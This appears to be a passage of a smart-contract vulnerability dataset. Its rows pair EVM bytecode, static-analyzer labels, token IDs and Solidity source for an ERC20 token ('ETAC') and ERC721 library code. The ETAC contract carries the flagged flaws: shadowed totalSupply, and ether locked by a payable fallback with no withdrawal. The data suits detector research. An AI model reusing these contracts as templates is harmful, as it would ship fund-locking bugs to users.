20604051602081039080840390855afa158015612ef7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116612f2057600060019250925050612f27565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831660ff84901c601b01612f6a87828885612e43565b935093505050935093915050565b828054612f849061348b565b90600052602060002090601f016020900481019282612fa65760008555612fec565b82601f10612fbf57805160ff1916838001178555612fec565b82800160010185558215612fec579182015b82811115612fec578251825591602001919060010190612fd1565b50612ff8929150613032565b5090565b5080546130089061348b565b6000825580601f10613018575050565b601f016020900490600052602060002090810190610e3191905b5b80821115612ff85760008155600101613033565b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610e3157600080fd5b60006020828403121561308757600080fd5b8135611c6981613047565b60005b838110156130ad578181015183820152602001613095565b838111156113365750506000910152565b600081518084526130d6816020860160208601613092565b601f01601f19169290920160200192915050565b602081526000611c6960208301846130be565b60006020828403121561310f57600080fd5b5035919050565b80356001600160a01b038116811461312d57600080fd5b919050565b6000806040838503121561314557600080fd5b61314e83613116565b946020939093013593505050565b60008060006060848603121561317157600080fd5b61317a84613116565b925061318860208501613116565b9150604084013590509250925092565b8035801515811461312d57600080fd5b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156131d9576131d96131a8565b604051601f8501601f19908116603f01168101908282118183101715613201576132016131a8565b8160405280935085815286868601111561321a57600080fd5b858560208301376000602087830101525050509392505050565b600082601f83011261324557600080fd5b611c69838335602085016131be565b600080600080600080600060e0888a03121561326f57600080fd5b61327888613198565b965060208801359550604088013567ffffffffffffffff8082111561329c57600080fd5b6132a88b838c01613234565b965060608a0135955060808a0135945060a08a01359150808211156132cc57600080fd5b506132d98a828b01613234565b92505060c0880135905092959891949750929550565b60006020828403121561330157600080fd5b813567ffffffffffffffff81111561331857600080fd5b8201601f8101841361332957600080fd5b6121a7848235602084016131be565b60006020828403121561334a57600080fd5b611c6982613116565b6000806040838503121561336657600080fd5b61336f83613116565b915061337d60208401613116565b90509250929050565b6000806040838503121561339957600080fd5b6133a283613116565b915061337d60208401613198565b600080600080608085870312156133c657600080fd5b6133cf85613116565b93506133dd60208601613116565b925060408501359150606085013567ffffffffffffffff81111561340057600080fd5b61340c87828801613234565b91505092959194509250565b60006020828403121561342a57600080fd5b611c6982613198565b60008060008060008060c0878903121561344c57600080fd5b8635955060208701359450604087013593506060870135925061347160808801613198565b915061347f60a08801613198565b90509295509295509295565b600181811c9082168061349f57607f821691505b602082108114156134c057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156134ef576134ef6134c6565b500190565b600081600019048311821515161561350e5761350e6134c6565b500290565b6000600019821415613527576135276134c6565b5060010190565b6000845160206135418285838a01613092565b8551918401916135548184848a01613092565b8554920191600090600181811c908083168061357157607f831692505b85831081141561358f57634e487b7160e01b85526022600452602485fd5b8080156135a357600181146135b4576135e1565b60ff198516885283880195506135e1565b60008b81526020902060005b858110156135d95781548a8201529084019088016135c0565b505083880195505b50939b9a5050505050505050505050565b600082821015613604576136046134c6565b500390565b634e487b7160e01b600052601260045260246000fd5b60008261362e5761362e613609565b500490565b60008261364257613642613609565b500690565b634e487b7160e01b600052603260045260246000fd5b60006001600160a01b0380871683528086166020840152508360408301526080606083015261368f60808301846130be565b9695505050505050565b6000602082840312156136ab57600080fd5b8151611c6981613047565b634e487b7160e01b600052602160045260246000fdfea26469706673582212202f338ec426d94dd071fa4892035f5943f1c387bca60e17847454106153c4aecb64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 21619, 25746, 24434, 2497, 2683, 19281, 2692, 21057, 2094, 2475, 2546, 24096, 2094, 16576, 2629, 4215, 2509, 4215, 2581, 2050, 2475, 2278, 2509, 2063, 2581, 4402, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1030, 3166, 1024, 6627, 24303, 1012, 3802, 2232, 1008, 1026, 1006, 1034, 1035, 1034, 1007, 1028, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1008, 1013, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,711
0x9736D5B683F7dB00085d859C23d5DE27eeB74891
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply = 6000000 * 10 ** 18; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /* * EternaCoinContract * * Simple ERC20 Token */ contract EternaCoinContract is StandardToken, Ownable { string public standard = "ETAC"; string public name = "ETAC Coin"; string public symbol = "ETAC"; uint public decimals = 18; address public multisig = 0x5A8CB5E0D633Df748515B6c9fF38c497975D202D; function EternaCoinContract() public { balances[multisig] = totalSupply; } uint public totalSupply = 12000000 * 10 ** decimals; function() payable public { require(msg.value != 0); createCoins(msg.sender); } function createCoins(address _to) payable public { uint _amount = msg.value; balances[multisig] = balances[multisig].sub(_amount); balances[_to] = balances[_to].add(_amount); } }
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100fc578063095ea7b31461018657806318160ddd146101bc57806323b872dd146101e1578063313ce567146102095780634783c35b1461021c5780635a3b7e421461024b578063661884631461025e57806370a08231146102805780638da5cb5b1461029f57806395d89b41146102b2578063a9059cbb146102c5578063aaed31c7146102e7578063d73dd623146102fb578063dd62ed3e1461031d578063f2fde38b14610342575b3415156100f157600080fd5b6100fa33610361565b005b341561010757600080fd5b61010f6103e6565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014b578082015183820152602001610133565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019157600080fd5b6101a8600160a060020a0360043516602435610484565b604051901515815260200160405180910390f35b34156101c757600080fd5b6101cf6104f0565b60405190815260200160405180910390f35b34156101ec57600080fd5b6101a8600160a060020a03600435811690602435166044356104f6565b341561021457600080fd5b6101cf610620565b341561022757600080fd5b61022f610626565b604051600160a060020a03909116815260200160405180910390f35b341561025657600080fd5b61010f610635565b341561026957600080fd5b6101a8600160a060020a03600435166024356106a0565b341561028b57600080fd5b6101cf600160a060020a036004351661079a565b34156102aa57600080fd5b61022f6107b5565b34156102bd57600080fd5b61010f6107c4565b34156102d057600080fd5b6101a8600160a060020a036004351660243561082f565b6100fa600160a060020a0360043516610361565b341561030657600080fd5b6101a8600160a060020a0360043516602435610905565b341561032857600080fd5b6101cf600160a060020a03600435811690602435166109a9565b341561034d57600080fd5b6100fa600160a060020a03600435166109d4565b600854600160a060020a0316600090815260016020526040902054349061038e908263ffffffff610a3316565b600854600160a060020a0390811660009081526001602052604080822093909355908416815220546103c6908263ffffffff610a4516565b600160a060020a0390921660009081526001602052604090209190915550565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561047c5780601f106104515761010080835404028352916020019161047c565b820191906000526020600020905b81548152906001019060200180831161045f57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60095481565b600080600160a060020a038416151561050e57600080fd5b50600160a060020a03808516600081815260026020908152604080832033909516835293815283822054928252600190529190912054610554908463ffffffff610a3316565b600160a060020a038087166000908152600160205260408082209390935590861681522054610589908463ffffffff610a4516565b600160a060020a0385166000908152600160205260409020556105b2818463ffffffff610a3316565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b60075481565b600854600160a060020a031681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561047c5780601f106104515761010080835404028352916020019161047c565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156106fd57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610734565b61070d818463ffffffff610a3316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561047c5780601f106104515761010080835404028352916020019161047c565b6000600160a060020a038316151561084657600080fd5b600160a060020a03331660009081526001602052604090205461086f908363ffffffff610a3316565b600160a060020a0333811660009081526001602052604080822093909355908516815220546108a4908363ffffffff610a4516565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461093d908363ffffffff610a4516565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109ef57600080fd5b600160a060020a0381161515610a0457600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610a3f57fe5b50900390565b600082820183811015610a5457fe5b93925050505600a165627a7a723058200f027877eaa31576ab315b412b2764ad2bd3c404973507dda71a619b3ca331920029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 21619, 2094, 2629, 2497, 2575, 2620, 2509, 2546, 2581, 18939, 8889, 2692, 27531, 2094, 27531, 2683, 2278, 21926, 2094, 2629, 3207, 22907, 4402, 2497, 2581, 18139, 2683, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,712
0x9737028822a53b81237f2d57a05e939cabaa9baf
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } pragma solidity ^0.8.11; interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } pragma solidity ^0.8.11; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.11; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.11; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.11; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.11; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.11; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } pragma solidity ^0.8.11; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.11; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.11; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.11; abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; string private _name; string private _symbol; address[] internal _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint count = 0; uint length = _owners.length; for( uint i = 0; i < length; ++i ){ if( owner == _owners[i] ){ ++count; } } delete length; return count; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.11; abstract contract ERC721Enum is ERC721, IERC721Enumerable { function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) { require(index < ERC721.balanceOf(owner), "ERC721Enum: owner ioob"); uint count; for( uint i; i < _owners.length; ++i ){ if( owner == _owners[i] ){ if( count == index ) return i; else ++count; } } require(false, "ERC721Enum: owner ioob"); } function tokensOfOwner(address owner) public view returns (uint256[] memory) { require(0 < ERC721.balanceOf(owner), "ERC721Enum: owner ioob"); uint256 tokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); } return tokenIds; } function totalSupply() public view virtual override returns (uint256) { return _owners.length; } function tokenByIndex(uint256 index) public view 